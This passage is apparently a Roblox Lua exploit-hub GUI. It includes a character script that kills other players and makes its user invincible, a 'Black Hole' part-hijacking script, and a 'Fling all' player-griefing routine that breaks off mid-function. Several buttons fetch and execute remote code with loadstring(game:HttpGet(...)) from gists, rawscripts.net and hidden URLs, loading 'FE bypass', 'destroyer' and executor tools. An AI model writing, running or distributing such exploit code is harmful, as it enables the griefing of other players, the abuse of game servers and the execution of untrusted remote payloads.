	Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(1.41263008e-005, -0.399995744, 5.00679016e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.300596, 1.71419013, -0.153122023, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(0.400015235, 0.400005817, 7.39097595e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.69322205, 1.81620288, 0.650299072, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-0.400013447, 0.500005245, 0.400009155, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.69684124, 1.71498096, 0.250625998, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-1.63316727e-005, 0.400005937, 0.400005102, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),})
	ScatterEff(EffCorruptedPart)

	sa = RightArm:GetChildren()
	for i = 1, #sa do
		ScatterEff(sa[i])
	end

	local eff1 = Instance.new("ParticleEmitter",EyeFire)
	eff1.Size = NumberSequence.new(.1)
	eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
	eff1.LightEmission = 1
	eff1.Lifetime = NumberRange.new(.5)
	eff1.Speed = NumberRange.new(1)
	eff1.EmissionDirection = "Front"
	eff1.Rate = 100
	eff1.Texture = "rbxassetid://347504241"
	eff1.Acceleration = Vector3.new(0,10,0)
	eff1.Color = ColorSequence.new(Color3.new(1,0,0))
	local eff2 = Instance.new("ParticleEmitter",EyeFire)
	eff2.Size = NumberSequence.new(.1)
	eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
	eff2.LightEmission = 1
	eff2.Lifetime = NumberRange.new(.5)
	eff2.Speed = NumberRange.new(1)
	eff2.EmissionDirection = "Front"
	eff2.Rate = 100
	eff2.Texture = "rbxassetid://347504259"
	eff2.Acceleration = Vector3.new(0,10,0)
	eff2.Color = ColorSequence.new(Color3.new(1,0,0))
	local eff3 = Instance.new("ParticleEmitter",EyeFire)
	eff3.Size = NumberSequence.new(.1)
	eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
	eff3.LightEmission = 1
	eff3.Lifetime = NumberRange.new(.5)
	eff3.Speed = NumberRange.new(1)
	eff3.EmissionDirection = "Front"
	eff3.Rate = 100
	eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
	eff3.Acceleration = Vector3.new(0,10,0)
	eff3.Color = ColorSequence.new(Color3.new(1,0,0))

	--Sounds--
	slashsnd = New("Sound",chara.Torso,"Slash",{SoundId = "rbxassetid://28144425",PlaybackSpeed = .7,Volume = 5})
	hitsnd = New("Sound",chara.Torso,"Hit",{SoundId = "rbxassetid://429400881",PlaybackSpeed = .7,Volume = 5})
	telesnd = New("Sound",chara.Torso,"Tele",{SoundId = "rbxassetid://2767090",PlaybackSpeed = .7,Volume = 5})
	burnsnd = New("Sound",chara.Torso,"Burn",{SoundId = "rbxassetid://32791565",PlaybackSpeed = .7,Volume = 5})
	music1 = New("Sound",chara.Torso,"Music1",{SoundId = "rbxassetid://151038517",PlaybackSpeed = .5,Volume = 10,Looped = true})
	music2 = New("Sound",chara.Torso,"Music2",{SoundId = "rbxassetid://11984351",PlaybackSpeed = .2,Volume = 5,Looped = true})
	deathmus = New("Sound",chara.Torso,"DeathMus",{SoundId = "rbxassetid://19094700",PlaybackSpeed = .5,Volume = 5,Looped = true})
	deathex = New("Sound",chara.Torso,"DeathEx",{SoundId = "rbxassetid://11984351",PlaybackSpeed = 1,Volume = 5})
	music1:Play()
	music2:Play()

	--Animations--
	swinganim = chara.Humanoid:LoadAnimation(New("Animation",chara,"Swing",{AnimationId = "rbxassetid://186934658"}))

	--Name Tag--
	local naeeym = Instance.new("BillboardGui",chara)
	naeeym.Size = UDim2.new(0,100,0,40)
	naeeym.StudsOffset = Vector3.new(0,2,0)
	naeeym.Adornee = chara.Head
	local tecks = Instance.new("TextLabel",naeeym)
	tecks.BackgroundTransparency = 1
	tecks.BorderSizePixel = 0
	tecks.Text = "John Doe"
	tecks.Font = "Fantasy"
	tecks.FontSize = "Size24"
	tecks.TextStrokeTransparency = 0
	tecks.TextStrokeColor3 = Color3.new(0,0,0)
	tecks.TextColor3 = Color3.new(0,0,0)
	tecks.Size = UDim2.new(1,0,0.5,0)

	--Skybox--
	skybox = Instance.new("Part",chara)
	skybox.Size = Vector3.new(0,0,0)
	skybox.Anchored = true
	skybox.CanCollide = true
	skyboxmesh = Instance.new("SpecialMesh",skybox)
	skyboxmesh.MeshId = "http://www.roblox.com/asset/?id=1527559"
	skyboxmesh.TextureId = "http://www.roblox.com/asset/?id=1529455"
	skyboxmesh.VertexColor = Vector3.new(1,0,0)
	skyboxmesh.Scale = Vector3.new(-3000,-1000,-3000)

	--Soul Steal--
	function SoulSteal(pos)
		local soulst = coroutine.wrap(function()
			local soul = Instance.new("Part",chara)
			soul.Size = Vector3.new(0,0,0)
			soul.CanCollide = false
			soul.Anchored = false
			soul.Position = pos
			soul.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
			soul.Transparency = 1
			local ptc = Instance.new("ParticleEmitter",soul)
			ptc.Texture = "http://www.roblox.com/asset/?id=413366101"
			ptc.Size = NumberSequence.new(.5)
			ptc.LockedToPart = true
			ptc.Speed = NumberRange.new(0)
			ptc.Lifetime = NumberRange.new(9999)
			local bodpos = Instance.new("BodyPosition",soul)
			bodpos.Position = pos
			wait(2)
			soul.Touched:connect(function(hit)
				if hit.Parent == chara then
					soul:Destroy()
				end
			end)
			while soul do
				wait(.1)
				bodpos.Position = chara.Torso.Position
			end
		end)
		soulst()
	end

	--Death of a Mortal--
	function KillMortal(hitdude)
		local torsy = nil
		if hitdude:FindFirstChild("Torso")~=nil then
			torsy = hitdude.Torso	
		elseif hitdude:FindFirstChild("UpperTorso")~=nil then
			torsy = hitdude.UpperTorso
		end
		local val = Instance.new("ObjectValue",hitdude)
		val.Name = "HasBeenHit"
		hitdude:BreakJoints()
		hitdude.Humanoid:Destroy()
		SoulSteal(torsy.Position)
		local chi = hitdude:GetChildren()
		for i = 1, #chi do
			if chi[i].ClassName == "Part" or chi[i].ClassName == "MeshPart" then
				local bodpos = Instance.new("BodyPosition",chi[i])
				bodpos.Position = chi[i].Position + Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
				ScatterEff(chi[i])
				chi[i].BrickColor = BrickColor.new("Really black")
			end
		end
		for i = 1, 4 do
			for i = 1, #chi do
				if chi[i].ClassName == "Part" or chi[i].ClassName == "MeshPart" then
					chi[i].Transparency = chi[i].Transparency + .25
					wait(.01)
				end
			end
		end
		for i = 1, #chi do
			if chi[i].ClassName == "Part" or chi[i].ClassName == "MeshPart" then
				chi[i]:Destroy()
			end
		end
	end

	--Arm Touch--
	bladeactive = false
	Hitbox.Touched:connect(function(hit)
		if bladeactive == true then
			if hit.Parent:FindFirstChild("Humanoid")~= nil and hit.Parent:FindFirstChild("HasBeenHit")== nil and hit.Parent ~= chara then
				hitsnd:Play()
				KillMortal(hit.Parent)
			end
		end
	end)

	--Teleport--
	function Teleport(pos)
		telesnd:Play()
		local ch = chara:GetChildren()
		for i = 1, #ch do
			if ch[i].ClassName == "Part" and ch[i].Name ~= "HumanoidRootPart" then
				local trace = Instance.new("Part",game.Workspace)
				trace.Size = ch[i].Size
				trace.Material = "Neon"
				trace.BrickColor = BrickColor.new("Really black")
				trace.Transparency = .3
				trace.CanCollide = false
				trace.Anchored = true
				trace.CFrame = ch[i].CFrame
				if ch[i].Name == "Head" then
					mehs = Instance.new("CylinderMesh",trace)
					mehs.Scale = Vector3.new(1.25,1.25,1.25)
				end
				tracedisappear = coroutine.wrap(function()
					wait(1)
					for i = 1, 7 do
						wait(.1)
						trace.Transparency = trace.Transparency + .1
					end
					trace:Destroy()
				end)
				tracedisappear()
			end
		end
		chara.Torso.CFrame = CFrame.new(pos.X,pos.Y,pos.Z)
	end

	--Grab--
	function Grab(mouse)
		local hit = mouse.Target
		if hit ~= nil then
			if hit.Parent:FindFirstChild("Humanoid")~=nil then
				local torsy = nil
				if hit.Parent:FindFirstChild("Torso")~=nil then
					torsy = hit.Parent.Torso
				elseif hit.Parent:FindFirstChild("UpperTorso")~=nil then
					torsy = hit.Parent.UpperTorso
				end
				local bodpos = Instance.new("BodyPosition",torsy)
				bodpos.Position = torsy.Position
				wait(1)
				burnsnd:Play()
				hit.Parent.Humanoid.MaxHealth = 100
				bodpos.Position = bodpos.Position + Vector3.new(0,4,0)
				for i = 1, 10 do
					wait(.1)
					BurningEff(torsy)
					hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health - 10
				end
				KillMortal(hit.Parent)
			end
		else end
	end

	--Button1Down--
	dell = false
	function onButton1Down()
		if dell == false then
			dell = true
			swinganim:Play()
			bladeactive = true
			slashsnd:Play()
			wait(.7)
			bladeactive = false
			dell = false
			swinganim:Stop()
		end
	end

	--KeyDowns--
	function onKeyDown(key)
		if key == "z" then
			Teleport(Mouse.Hit.p + Vector3.new(0,2,0))
		elseif key == "x" then
			Grab(Mouse)
		end
	end

	--Mouse Functions--
	Mouse = player:GetMouse()
	if Mouse then
		Mouse.Button1Down:connect(onButton1Down)
		Mouse.KeyDown:connect(onKeyDown)
	end

	--Death--
	chara.Humanoid.Died:connect(function()
		local pat = Instance.new("Part",game.Workspace)
		pat.Transparency = 1
		pat.Anchored = true
		pat.CFrame = chara.Torso.CFrame
		naeeym.Parent = pat
		naeeym.Adornee = pat
		skybox.Parent = game.Workspace
		tecks.Text = "BAD CHOICE"
		tecks.FontSize = "Size48"
		tecks.TextColor3 = Color3.new(1,0,0)
		music1:Stop()
		music2:Stop()
		deathmus.Parent = game.Workspace
		deathex.Parent = game.Workspace
		deathmus:Play()
		deathex:Play()
		game.Lighting.OutdoorAmbient = Color3.new(0,0,0)
		game.Lighting.TimeOfDay = "00:00:00"
		game.Lighting.FogColor = Color3.new(0,0,0)
		game.Lighting.FogEnd = 1000
		local ex = Instance.new("Explosion",game.Workspace)
		ex.Position = chara.Torso.Position
		ex.Visible = false
		ex.BlastRadius = 999999999999999999999999
		ex.BlastPressure = 9999999999999999999999999
	end)

	--Loop Function--
	while true do
		wait(.01)
		chance = math.random(0,100)
		if chance < 10 then
			sel = math.random(1,3)
			if sel == 1 then
				tecks.Text = "NOHOPE"
			elseif sel == 2 then
				tecks.Text = "GIVEUP"
			elseif sel == 3 then
				tecks.Text = "BURNINHELL"
			end
		else tecks.Text = "John Doe"
		end
		if chara.Humanoid.Health > 0 then
			chara.Humanoid.MaxHealth = math.huge
			chara.Humanoid.Health = math.huge
			game.Lighting.OutdoorAmbient = Color3.new(1,0,0)
			game.Lighting.Ambient = Color3.new(1,0,0)
			chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow")
			chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow")
			chara["Left Leg"].BrickColor = BrickColor.new("Medium blue")
			chara["Right Leg"].BrickColor = BrickColor.new("Medium blue")
			chara.Torso.BrickColor = BrickColor.new("Bright yellow")
			chara["Left Arm"].Anchored = false
			chara["Right Arm"].Anchored = false
			chara["Left Leg"].Anchored = false
			chara["Right Leg"].Anchored = false
			chara.Torso.Anchored = false
			ch = chara:GetChildren()
			for i = 1, #ch do
				if ch[i].ClassName == "Accessory" or ch[i].ClassName == "Hat" then
					ch[i]:Destroy()
				end
			end
			tools = player.Backpack:GetChildren()
			for i = 1, #tools do
				if tools[i].ClassName == "HopperBin" then
					tools[i]:Destroy()
				end
			end
			skybox.CFrame = skybox.CFrame * CFrame.fromEulerAnglesXYZ(0,math.rad(1),0)
			tecks.Position = UDim2.new(0,math.random(-3,3),0,math.random(-3,3))
			local jtrace = Instance.new("Part",game.Workspace)
			jtrace.Name = "JDTrace"
			jtrace.Size = Vector3.new(10,0,10)
			jtrace.Position = chara.Torso.Position
			jtrace.CFrame = chara.Torso.CFrame - Vector3.new(0,3,0)
			jtrace.Anchored = true
			jtrace.CanCollide = false
			jtrace.BrickColor = BrickColor.new("Really black")
			jtrace.Material = "Granite"
			BurningEff(jtrace)
			game.Debris:AddItem(jtrace,1)
		end
	end
end)


UICorner_3.Parent = Jhondoe

TextButton_3.Parent = Page1
TextButton_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_3.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_3.BorderSizePixel = 0
TextButton_3.Size = UDim2.new(0, 90, 0, 38)
TextButton_3.Font = Enum.Font.SourceSans
TextButton_3.Text = "LuxGui"
TextButton_3.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_3.TextScaled = true
TextButton_3.TextSize = 14.000
TextButton_3.TextWrapped = true
TextButton_3.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet('https://gist.githubusercontent.com/Commandant71/ac81e34132784e490f2c7af6274cdb71/raw/204104245ee8d0aa1dbe36d53f776cb491549adc/gistfile1.txt'))() 

end)

UICorner_4.Parent = TextButton_3

TextButton_4.Parent = Page1
TextButton_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_4.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_4.BorderSizePixel = 0
TextButton_4.Size = UDim2.new(0, 90, 0, 38)
TextButton_4.Font = Enum.Font.SourceSans
TextButton_4.Text = "c00lgui remake"
TextButton_4.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_4.TextScaled = true
TextButton_4.TextSize = 14.000
TextButton_4.TextWrapped = true
TextButton_4.MouseButton1Click:Connect(function()

	local c00lgui = Window:CreateTab("c00lgui", nil) -- Title, Image
	local c00lguiSection = c00lgui:CreateSection("c00lgui")

	local Button = c00lgui:CreateButton({
		Name = "c00lgui v2.2 by team c00lkidd",
		Callback = function()
			loadstring(game:HttpGet("https://[Log in to view URL]",true))()
		end,
	})

	local Button = c00lgui:CreateButton({
		Name = "Destroyer GUI",
		Callback = function()
			loadstring(game:HttpGet("https://[Log in to view URL]",true))()
		end,
	})

	local Button = c00lgui:CreateButton({
		Name = "c00lgui reborn v0.5",
		Callback = function()
			loadstring(game:GetObjects("rbxassetid://8127297852")[1].Source)()
		end,
	})

	local feTab = Window:CreateTab("Fe Bypass", nil) -- Title, Image
	local feSection = feTab:CreateSection("Fe Bypass")

	local Paragraph = feTab:CreateParagraph({Title = "NOTICE", Content = "Some FE script can doesn't work if they don't work contact me FireServiceScripter#1073 on discord"})

	local Button = feTab:CreateButton({
		Name = "FE GAMEPASS UI",
		Callback = function()
			loadstring(game:HttpGet('https://[Log in to view URL]'))()
		end,
	})

	local Button = feTab:CreateButton({
		Name = "FE Twilight Daycare Destroyer",
		Callback = function()
			loadstring(game:HttpGet('https://[Log in to view URL]'))(' Watermelon ? ')
		end,
	})

	local Button = feTab:CreateButton({
		Name = "FE Build And Survive Destroyer",
		Callback = function()
			loadstring(game:HttpGet('https://[Log in to view URL]'))()
		end,
	})

	local Button = feTab:CreateButton({
		Name = "FE Bypassing Hub GUI",
		Callback = function()
			loadstring(game:HttpGet("https://[Log in to view URL]"))()
		end,
	})

	local Button = feTab:CreateButton({
		Name = "FE Tools Drop [FREE ADMIN]",
		Callback = function()
			loadstring(game:HttpGet('https://[Log in to view URL]'))()
		end,
	})

	local Button = feTab:CreateButton({
		Name = "FE Troll GUI",
		Callback = function()
			loadstring(game:HttpGet("https://[Log in to view URL]"))()
		end,
	})

	local Button = feTab:CreateButton({
		Name = "FE Btools",
		Callback = function()
			loadstring(game:HttpGet('https://[Log in to view URL]'))()
		end,
	})

	local Button = feTab:CreateButton({
		Name = "FE Hub Script [Best]",
		Callback = function()
			loadstring(game:HttpGet('https://[Log in to view URL]'))()
		end,
	})

	local Executors = Window:CreateTab("Executors", nil) -- Title, Image
	local ExSection = Executors:CreateSection("RC7")

	local Button = Executors:CreateButton({
		Name = "RC7",
		Callback = function()
			loadstring(game:HttpGet("https://[Log in to view URL]"))()
		end,
	})
end)

UICorner_5.Parent = TextButton_4

TextButton_5.Parent = Page1
TextButton_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_5.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_5.BorderSizePixel = 0
TextButton_5.Size = UDim2.new(0, 90, 0, 38)
TextButton_5.Font = Enum.Font.SourceSans
TextButton_5.Text = "Black Hole"
TextButton_5.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_5.TextScaled = true
TextButton_5.TextSize = 14.000
TextButton_5.TextWrapped = true
TextButton_5.MouseButton1Click:Connect(function()
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	local Workspace = game:GetService("Workspace")
	local angle = 1
	local radius = 10
	local blackHoleActive = false
	local function setupPlayer()
		local character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
		local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
		local Folder = Instance.new("Folder", Workspace)
		local Part = Instance.new("Part", Folder)
		local Attachment1 = Instance.new("Attachment", Part)
		Part.Anchored = true
		Part.CanCollide = false
		Part.Transparency = 1
		return humanoidRootPart, Attachment1
	end
	local humanoidRootPart, Attachment1 = setupPlayer()
	if not getgenv().Network then
		getgenv().Network = {
			BaseParts = {},
			Velocity = Vector3.new(14.46262424, 14.46262424, 14.46262424)
		}
		Network.RetainPart = function(part)
			if typeof(part) == "Instance" and part:IsA("BasePart") and part:IsDescendantOf(Workspace) then
				table.insert(Network.BaseParts, part)
				part.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0)
				part.CanCollide = false
			end
		end
		local function EnablePartControl()
			LocalPlayer.ReplicationFocus = Workspace
			RunService.Heartbeat:Connect(function()
				sethiddenproperty(LocalPlayer, "SimulationRadius", math.huge)
				for _, part in pairs(Network.BaseParts) do
					if part:IsDescendantOf(Workspace) then
						part.Velocity = Network.Velocity
					end
				end
			end)
		end
		EnablePartControl()
	end
	local function ForcePart(v)
		if v:IsA("Part") and not v.Anchored and not v.Parent:FindFirstChild("Humanoid") and not v.Parent:FindFirstChild("Head") and v.Name ~= "Handle" then
			for _, x in next, v:GetChildren() do
				if x:IsA("BodyAngularVelocity") or x:IsA("BodyForce") or x:IsA("BodyGyro") or x:IsA("BodyPosition") or x:IsA("BodyThrust") or x:IsA("BodyVelocity") or x:IsA("RocketPropulsion") then
					x:Destroy()
				end
			end
			if v:FindFirstChild("Attachment") then
				v:FindFirstChild("Attachment"):Destroy()
			end
			if v:FindFirstChild("AlignPosition") then
				v:FindFirstChild("AlignPosition"):Destroy()
			end
			if v:FindFirstChild("Torque") then
				v:FindFirstChild("Torque"):Destroy()
			end
			v.CanCollide = false
			local Torque = Instance.new("Torque", v)
			Torque.Torque = Vector3.new(1000000, 1000000, 1000000)
			local AlignPosition = Instance.new("AlignPosition", v)
			local Attachment2 = Instance.new("Attachment", v)
			Torque.Attachment0 = Attachment2
			AlignPosition.MaxForce = math.huge
			AlignPosition.MaxVelocity = math.huge
			AlignPosition.Responsiveness = 500
			AlignPosition.Attachment0 = Attachment2
			AlignPosition.Attachment1 = Attachment1
		end
	end
	local function toggleBlackHole()
		blackHoleActive = not blackHoleActive
		if blackHoleActive then
			for _, v in next, Workspace:GetDescendants() do
				ForcePart(v)
			end

			Workspace.DescendantAdded:Connect(function(v)
				if blackHoleActive then
					ForcePart(v)
				end
			end)
			spawn(function()
				while blackHoleActive and RunService.RenderStepped:Wait() do
					angle = angle + math.rad(2)

					local offsetX = math.cos(angle) * radius
					local offsetZ = math.sin(angle) * radius

					Attachment1.WorldCFrame = humanoidRootPart.CFrame * CFrame.new(offsetX, 0, offsetZ)
				end
			end)
		else
			Attachment1.WorldCFrame = CFrame.new(0, -1000, 0)
		end
	end

	LocalPlayer.CharacterAdded:Connect(function()
		humanoidRootPart, Attachment1 = setupPlayer()
		if blackHoleActive then
			toggleBlackHole()
		end
	end)
	local library = loadstring(game:HttpGet("https://raw.githubusercontent.com/miroeramaa/TurtleLib/main/TurtleUiLib.lua"))()
	local window = library:Window("Projeto LKB")
	window:Slider("Radius Blackhole",1,100,10, function(Value)
		radius = Value
	end)
	window:Toggle("Blackhole", true, function(Value)
		if Value then
			toggleBlackHole()
		else
			blackHoleActive = false
		end
	end)

	spawn(function()
		while true do
			RunService.RenderStepped:Wait()
			if blackHoleActive then
				angle = angle + math.rad(angleSpeed)
			end
		end
	end)
	toggleBlackHole()

end)

UICorner_6.Parent = TextButton_5

TextButton_6.Parent = Page1
TextButton_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_6.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_6.BorderSizePixel = 0
TextButton_6.Size = UDim2.new(0, 90, 0, 38)
TextButton_6.Font = Enum.Font.SourceSans
TextButton_6.Text = "Ring V4"
TextButton_6.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_6.TextScaled = true
TextButton_6.TextSize = 14.000
TextButton_6.TextWrapped = true
TextButton_6.MouseButton1Click:Connect(function()

	loadstring(game:HttpGet("https://rawscripts.net/raw/Natural-Disaster-Survival-Super-ring-V4-24296"))()
end)

UICorner_7.Parent = TextButton_6

TextButton_7.Parent = Page1
TextButton_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_7.BorderSizePixel = 0
TextButton_7.Size = UDim2.new(0, 90, 0, 38)
TextButton_7.Font = Enum.Font.SourceSans
TextButton_7.Text = "Fling all"
TextButton_7.TextColor3 = Color3.fromRGB(0, 0, 0)
TextButton_7.TextScaled = true
TextButton_7.TextSize = 14.000
TextButton_7.TextWrapped = true
TextButton_7.MouseButton1Click:Connect(function()
	local Targets = {"All"} -- "All", "Target Name", "arian_was_here"

	local Players = game:GetService("Players")
	local Player = Players.LocalPlayer

	local AllBool = false

	local GetPlayer = function(Name)
		Name = Name:lower()
		if Name == "all" or Name == "others" then
			AllBool = true
			return
		elseif Name == "random" then
			local GetPlayers = Players:GetPlayers()
			if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
			return GetPlayers[math.random(#GetPlayers)]
		elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
			for _,x in next, Players:GetPlayers() do
				if x ~= Player then
					if x.Name:lower():match("^"..Name) then
						return x;
					elseif x.DisplayName:lower():match("^"..Name) then
						return x;
					end
				end
			end
		else
			return
		end
	end

	local Message = function(_Title, _Text, Time)
		game:GetService("StarterGui"):SetCore("SendNotification", {Title = _Title, Text = _Text, Duration = Time})
	end

	local SkidFling = function(TargetPlayer)
		local Character = Player.Character
		local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
		local RootPart = Humanoid and Humanoid.RootPart

		local TCharacter = TargetPlayer.Character
		local THumanoid
		local TRootPart
		local THead
		local Accessory
		local Handle

		if TCharacter:FindFirstChildOfClass("Humanoid") then
			THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
		end
		if THumanoid and THumanoid.RootPart then
			TRootPart = THumanoid.RootPart
		end
		if TCharacter:FindFirstChild("Head") then
			THead = TCharacter.Head
		end
		if TCharacter:FindFirstChildOfClass("Accessory") then
			Accessory = TCharacter:FindFirstChildOfClass("Accessory")
		end
		if Accessoy and Accessory:FindFirstChild("Handle") then
			Handle = Accessory.Handle
		end

		if Character and Humanoid and RootPart then
			if RootPart.Velocity.Magnitude < 50 then
				getgenv().OldPos = RootPart.CFrame
			end
			if THumanoid and THumanoid.Sit and not AllBool then
				return Message("Error Occurred", "Targeting is sitting", 5) -- u can remove dis part if u want lol
			end
			if THead then
				workspace.CurrentCamera.CameraSubject = THead
			elseif not THead and Handle then
				workspace.CurrentCamera.CameraSubject = Handle
			elseif THumanoid and TRootPart then
				workspace.CurrentCamera.CameraSubject = THumanoid
			end
			if not TCharacter:FindFirstChildWhichIsA("BasePart") then
				return
			end

			local FPos = function(BasePart, Pos, Ang)
				RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
				Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
				RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
				RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
			end

			local SFBasePart = function(BasePart)
				local TimeToWait = 2
				local Time = tick()
				local Angle = 0

				repeat
					if RootPart and THumanoid then
						if BasePart.Velocity.Magnitude < 50 then
							Angle = Angle + 100

							FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
							task.wait()

							FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
							task.wait()

							FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
							task.wait()
						else
							FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
							task.wait()

